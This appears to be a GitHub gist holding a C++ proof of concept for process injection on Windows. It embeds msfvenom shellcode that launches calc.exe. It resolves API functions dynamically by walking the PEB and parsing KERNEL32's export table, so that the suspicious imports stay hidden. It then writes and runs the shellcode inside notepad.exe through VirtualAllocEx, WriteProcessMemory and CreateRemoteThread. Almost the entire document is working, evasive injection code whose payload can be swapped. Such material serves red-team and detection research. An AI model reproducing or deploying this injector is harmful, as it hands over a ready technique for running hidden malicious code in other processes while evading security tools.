Skip to content

Instantly share code, notes, and snippets.

@christophetd
Created February 17, 2020 23:46
Show Gist options
  • Star 19 You must be signed in to star a gist
  • Fork 8 You must be signed in to fork a gist
  • Save christophetd/37141ba273b447ff885c323c0a7aff93 to your computer and use it in GitHub Desktop.
Save christophetd/37141ba273b447ff885c323c0a7aff93 to your computer and use it in GitHub Desktop.
#include <iostream>
#include <windows.h>
#include "Processthreadsapi.h"
#include "Libloaderapi.h"
#include <winnt.h>
#include <winternl.h>
#include <Lmcons.h>
#include "Processthreadsapi.h"
#include "Libloaderapi.h"
#include <tlhelp32.h>
using namespace std;
/* Globals */
DWORD ignored;
// msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f c -a x64
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
#define ADDR unsigned __int64
// Utility function to convert an UNICODE_STRING to a char*
HRESULT UnicodeToAnsi(LPCOLESTR pszW, LPSTR* ppszA) {
ULONG cbAnsi, cCharacters;
DWORD dwError;
// If input is null then just return the same.
if (pszW == NULL)
{
*ppszA = NULL;
return NOERROR;
}
cCharacters = wcslen(pszW) + 1;
cbAnsi = cCharacters * 2;
*ppszA = (LPSTR)CoTaskMemAlloc(cbAnsi);
if (NULL == *ppszA)
return E_OUTOFMEMORY;
if (0 == WideCharToMultiByte(CP_ACP, 0, pszW, cCharacters, *ppszA, cbAnsi, NULL, NULL))
{
dwError = GetLastError();
CoTaskMemFree(*ppszA);
*ppszA = NULL;
return HRESULT_FROM_WIN32(dwError);
}
return NOERROR;
}
namespace dynamic {
using GetModuleHandlePrototype = HMODULE(WINAPI*)(LPCSTR);
GetModuleHandlePrototype GetModuleHandle;
using GetProcAddressPrototype = FARPROC(WINAPI*)(HMODULE, LPCSTR);
GetProcAddressPrototype GetProcAddress;
using CreateToolhelp32SnapshotPrototype = HANDLE(WINAPI*)(DWORD, DWORD);
CreateToolhelp32SnapshotPrototype CreateToolhelp32Snapshot;
using Process32FirstPrototype = BOOL(WINAPI*)(HANDLE, LPPROCESSENTRY32);
Process32FirstPrototype Process32First;
using Process32NextPrototype = Process32FirstPrototype;
Process32NextPrototype Process32Next;
using CloseHandlePrototype = BOOL(WINAPI*)(HANDLE);
CloseHandlePrototype CloseHandle;
using OpenProcessPrototype = HANDLE(WINAPI*)(DWORD, BOOL, DWORD);
OpenProcessPrototype OpenProcess;
using VirtualAllocExPrototype = LPVOID(WINAPI*)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
VirtualAllocExPrototype VirtualAllocEx;
using WriteProcessMemoryPrototype = BOOL(WINAPI*)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
WriteProcessMemoryPrototype WriteProcessMemory;
using VirtualProtectExPrototype = BOOL(WINAPI*)(HANDLE, LPVOID, SIZE_T, DWORD, PDWORD);
VirtualProtectExPrototype VirtualProtectEx;
using CreateRemoteThreadPrototype = HANDLE(WINAPI*)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
CreateRemoteThreadPrototype CreateRemoteThread;
// Given the base address of a DLL in memory, returns the address of an exported function
ADDR find_dll_export(ADDR dll_base, const char* export_name) {
// Read the DLL PE header and NT header
PIMAGE_DOS_HEADER peHeader = (PIMAGE_DOS_HEADER)dll_base;
PIMAGE_NT_HEADERS peNtHeaders = (PIMAGE_NT_HEADERS)(dll_base + peHeader->e_lfanew);
// The RVA of the export table if indicated in the PE optional header
// Read it, and read the export table by adding the RVA to the DLL base address in memory
DWORD exportDescriptorOffset = peNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exportTable = (PIMAGE_EXPORT_DIRECTORY)(dll_base + exportDescriptorOffset);
// Browse every export of the DLL. For the i-th export:
// - The i-th element of the name table contains the export name
// - The i-th element of the ordinal table contains the index with which the functions table must be indexed to get the final function address
DWORD* name_table = (DWORD*)(dll_base + exportTable->AddressOfNames);
WORD* ordinal_table = (WORD*)(dll_base + exportTable->AddressOfNameOrdinals);
DWORD* func_table = (DWORD*)(dll_base + exportTable->AddressOfFunctions);
for (int i = 0; i < exportTable->NumberOfNames; ++i) {
char* funcName = (char*)(dll_base + name_table[i]);
ADDR func_ptr = dll_base + func_table[ordinal_table[i]];
if (!_strcmpi(funcName, export_name)) {
return func_ptr;
}
}
return NULL;
}
// Dynamically finds the base address of a DLL in memory
ADDR find_dll_base(const char* dll_name) {
// https://stackoverflow.com/questions/37288289/how-to-get-the-process-environment-block-peb-address-using-assembler-x64-os - x64 version
// Note: the PEB can also be found using NtQueryInformationProcess, but this technique requires a call to GetProcAddress
// and GetModuleHandle which defeats the very purpose of this PoC
PTEB teb = reinterpret_cast<PTEB>(__readgsqword(reinterpret_cast<DWORD_PTR>(&static_cast<NT_TIB*>(nullptr)->Self)));
PPEB_LDR_DATA loader = teb->ProcessEnvironmentBlock->Ldr;
PLIST_ENTRY head = &loader->InMemoryOrderModuleList;
PLIST_ENTRY curr = head->Flink;
// Iterate through every loaded DLL in the current process
do {
PLDR_DATA_TABLE_ENTRY dllEntry = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
char* dllName;
// Convert unicode buffer into char buffer for the time of the comparison, then free it
UnicodeToAnsi(dllEntry->FullDllName.Buffer, &dllName);
char* result = strstr(dllName, dll_name);
CoTaskMemFree(dllName); // Free buffer allocated by UnicodeToAnsi
if (result != NULL) {
// Found the DLL entry in the PEB, return its base address
return (ADDR)dllEntry->DllBase;
}
curr = curr->Flink;
} while (curr != head);
return NULL;
}
void resolve_imports(void) {
ADDR kernel32_base = find_dll_base("KERNEL32.DLL");
dynamic::GetProcAddress = (GetProcAddressPrototype) find_dll_export(kernel32_base, "GetProcAddress");
dynamic::GetModuleHandle = (GetModuleHandlePrototype) find_dll_export(kernel32_base, "GetModuleHandleA");
#define _import(_name, _type) ((_type) dynamic::GetProcAddress(dynamic::GetModuleHandle("kernel32.dll"), _name))
dynamic::CreateToolhelp32Snapshot = _import("CreateToolhelp32Snapshot", CreateToolhelp32SnapshotPrototype);
dynamic::Process32First = _import("Process32FirstW", Process32FirstPrototype);
dynamic::Process32Next = _import("Process32NextW", Process32NextPrototype);
dynamic::CloseHandle = _import("CloseHandle", CloseHandlePrototype);
dynamic::OpenProcess = _import("OpenProcess", OpenProcessPrototype);
dynamic::VirtualAllocEx = _import("VirtualAllocEx", VirtualAllocExPrototype);
dynamic::WriteProcessMemory = _import("WriteProcessMemory", WriteProcessMemoryPrototype);
dynamic::VirtualProtectEx = _import("VirtualProtectEx", VirtualProtectExPrototype);
dynamic::CreateRemoteThread = _import("CreateRemoteThread", CreateRemoteThreadPrototype);
}
}
// Returns the PID of the first process found matching 'process_name', or 0 if not found
int find_process(const wchar_t* process_name) {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = dynamic::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
int returnValue = 0;
if (!dynamic::Process32First(snapshot, &entry)) {
goto cleanup;
}
do {
if (wcscmp(entry.szExeFile, process_name) == 0) {
returnValue = entry.th32ProcessID;
goto cleanup;
}
} while (dynamic::Process32Next(snapshot, &entry));
cleanup:
dynamic::CloseHandle(snapshot);
return returnValue;
}
int main(int argc, char* argv[])
{
dynamic::resolve_imports();
// Get a handle on the target process. The target needs to be a 64 bit process
HANDLE hTargetProcess = dynamic::OpenProcess(PROCESS_ALL_ACCESS, true, find_process(L"notepad.exe"));
// Allocate a RW page in the target process memory
LPVOID targetPage = dynamic::VirtualAllocEx(hTargetProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
dynamic::WriteProcessMemory(hTargetProcess, targetPage, shellcode, sizeof(shellcode), NULL);
// Change the page as executable only
dynamic::VirtualProtectEx(hTargetProcess, targetPage, sizeof(shellcode), PAGE_EXECUTE, &ignored);
// Create a thread in the target process pointing to the shellcode
dynamic::CreateRemoteThread(hTargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)targetPage, NULL, 0, &ignored);
return EXIT_SUCCESS;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment